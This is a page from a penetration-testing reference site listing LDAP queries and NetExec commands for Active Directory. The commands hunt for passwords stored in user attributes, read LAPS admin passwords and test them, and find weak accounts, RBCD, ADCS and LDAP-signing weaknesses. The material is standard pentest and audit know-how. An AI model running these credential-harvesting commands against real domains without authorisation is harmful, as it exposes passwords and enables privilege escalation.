# LDAP Targeted Misconfiguration Searches

- **URL:** https://hackindex.io/services/ldap/enumeration/ldap-targeted-misconfiguration-searches
- **Path:** LDAP > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/ldap/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-05-15

Once you have authenticated access, run targeted LDAP filters against known misconfiguration patterns. These queries go beyond broad enumeration and directly identify conditions that enable credential extraction, relay attacks, and privilege escalation. Run them as a checklist:

- Plaintext credentials in user attributes
- LAPS password readability
- Weak account control flags (no pre-auth, no password required)
- Machine Account Quota for RBCD abuse
- ADCS certificate template misconfigurations
- LDAP signing and channel binding status

## LDAP targeted misconfiguration searches: credentials in attributes

Administrators routinely store passwords in description, info, and comment fields. These attributes are readable by all domain users by default.

**Credential hunting in LDAP attributes**

```bash
# Passwords in description fields
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*pass*)" sAMAccountName description
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*pwd*)" sAMAccountName description
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(description=*cred*)" sAMAccountName description

# Info and comment fields
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(info=*)" sAMAccountName info
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(comment=*)" sAMAccountName comment

# All users with non-empty description
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(description=*))" sAMAccountName description | grep -B1 "description:"
```

## LAPS

LAPS stores auto-rotated local administrator passwords in `ms-MCS-AdmPwd` on computer objects. Normally ACL-restricted, but over-permissioned OUs are common. A successful read gives you the current local admin password for that host.

**LAPS password enumeration**

```bash
# Check which computers have LAPS enabled
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(ms-MCS-AdmPwd=*)" dNSHostName ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime

# nxc: faster
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --laps

# If LAPS password returned, immediately test admin access
nxc smb $TARGET_IP -u Administrator -p $LAPS_PASSWORD --local-auth
# LDAP  10.10.10.10  389  DC01  [*] Getting LAPS Passwords
# LDAP  10.10.10.10  389  DC01  Computer: WS01$  LAPS Password: xK9#mP2!vL
```

## Account control weaknesses

These filters identify accounts with dangerous configurations that enable immediate attacks or credential-free authentication.

**Weak account control checks**

```bash
# Password never set (pwdLastSet = 0)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(pwdLastSet=0))" sAMAccountName

# Password not required (PASSWD_NOTREQD flag)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName

# Password never expires
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName

# Admin-flagged accounts (adminCount=1): these are under AdminSDHolder protection
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(adminCount=1))" sAMAccountName memberOf

# nxc combined check
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --admin-count --password-not-required
```

`adminCount=1` marks accounts that are or were members of privileged groups. These accounts have their ACLs reset by AdminSDHolder and are often overlooked in access reviews. They are high-value targets even if they no longer appear in Domain Admins: check their ACLs via [ACL Abuse Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/acl-abuse-privilege-escalation). Accounts with no pre-auth set are AS-REP Roastable: see [AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting). Accounts with SPNs are Kerberoastable: see [Kerberoasting](https://hackindex.io/platforms/active-directory/exploitation/kerberoasting).

## Machine Account Quota

The `ms-DS-MachineAccountQuota` attribute controls how many computer objects a regular user can create in the domain. The default is 10. A value above 0 enables Resource-Based Constrained Delegation abuse: you can create a machine account and use it for privilege escalation.

**Machine Account Quota check**

```bash
# Check MAQ value
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=domain)" ms-DS-MachineAccountQuota

# nxc module
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M maq
# ms-DS-MachineAccountQuota: 10
```

MAQ > 0 enables [Resource-Based Constrained Delegation](https://hackindex.io/platforms/active-directory/exploitation/rbcd-resource-based-constrained-delegation) abuse: create a machine account and use it to impersonate any user on the target.

## ADCS: certificate template enumeration

Active Directory Certificate Services templates with dangerous configurations (ESC1-ESC8) allow privilege escalation to Domain Admin via certificate abuse. This check identifies whether ADCS is present and which templates are published.

**ADCS enumeration**

```bash
# Check if ADCS is present
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=Configuration,$BASE_DN" "(objectClass=pKIEnrollmentService)" cn dNSHostName

# List all certificate templates
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$BASE_DN" "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag

# nxc ADCS module: finds misconfigured templates automatically
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M adcs
```

For ESC attack analysis, see [ADCS Misconfiguration Discovery](https://hackindex.io/platforms/active-directory/vulnerability-discovery/adcs-misconfiguration-discovery).

## LDAP signing and channel binding

Disabled LDAP signing allows NTLM relay attacks targeting the LDAP service. This is one of the most common and impactful domain misconfigurations found in real environments.

**LDAP signing check**

```bash
# Check LDAP signing requirement
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker
# LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced (vulnerable)
# LDAP  10.10.10.10  389  DC01  LDAPS channel binding NOT required (vulnerable)
```

If LDAP signing is not enforced, the domain is vulnerable to NTLM relay via LDAP. See [LDAP Signing and Channel Binding](https://hackindex.io/services/ldap/vulnerability-discovery/ldap-signing-and-channel-binding) for the full vulnerability confirmation workflow and [LDAP Relay and Signing Abuse](https://hackindex.io/services/ldap/exploitation/ldap-relay-and-signing-abuse) for exploitation.

## References

- [NetExec: GitHub](https://github.com/Pennyw0rth/NetExec) - ldap-checker, adcs, maq, laps modules documentation
- [NetExec Machine Account Quota: netexec.wiki](https://www.netexec.wiki/ldap-protocol/machine-account-quota) - MAQ enumeration and RBCD attack path
- [Check LDAP Signing: netexec.wiki](https://www.netexec.wiki/ldap-protocol/check-ldap-signing) - LDAP signing check module documentation